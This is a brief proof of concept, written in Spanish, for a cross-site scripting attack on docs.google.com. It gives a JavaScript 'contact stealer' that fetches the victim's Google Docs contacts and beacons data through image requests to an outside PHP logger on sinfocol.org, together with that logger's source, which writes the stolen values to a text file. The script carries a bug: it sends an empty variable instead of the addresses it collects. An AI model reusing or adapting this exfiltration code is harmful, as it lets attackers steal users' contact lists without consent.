

XSS POC en docs.google.com

```
::contactstealer.js::
contenido = new XMLHttpRequest();
contenido.open('GET', 'http://docs.google.com/c/data/contacts', true);
contenido.onreadystatechange = function() {
  if (contenido.readyState == 4) {
    var contactos = '';
    var xmlDoc = contenido.responseXML.documentElement;
    var cells = xmlDoc.getElementsByTagName('Address');
    for (var i = 0; i < cells.length; i++) {
      status = cells[i].childNodes[0].nodeValue;
      imagen = new Image();
      imagen.src = 'http://www.sinfocol.org/archivos/2009/11/contactslogger.php?nombre=' +
escape(contactos);
    }
  }
};
contenido.send(null);

::contactslogger.php::
<?php
$filename = 'contactos.txt';
$name = @$_GET['nombre'];
if ($name == '') die;
$file = fopen($filename, 'a');
fwrite($file, "$name\n");
fclose($file);
```

CLIC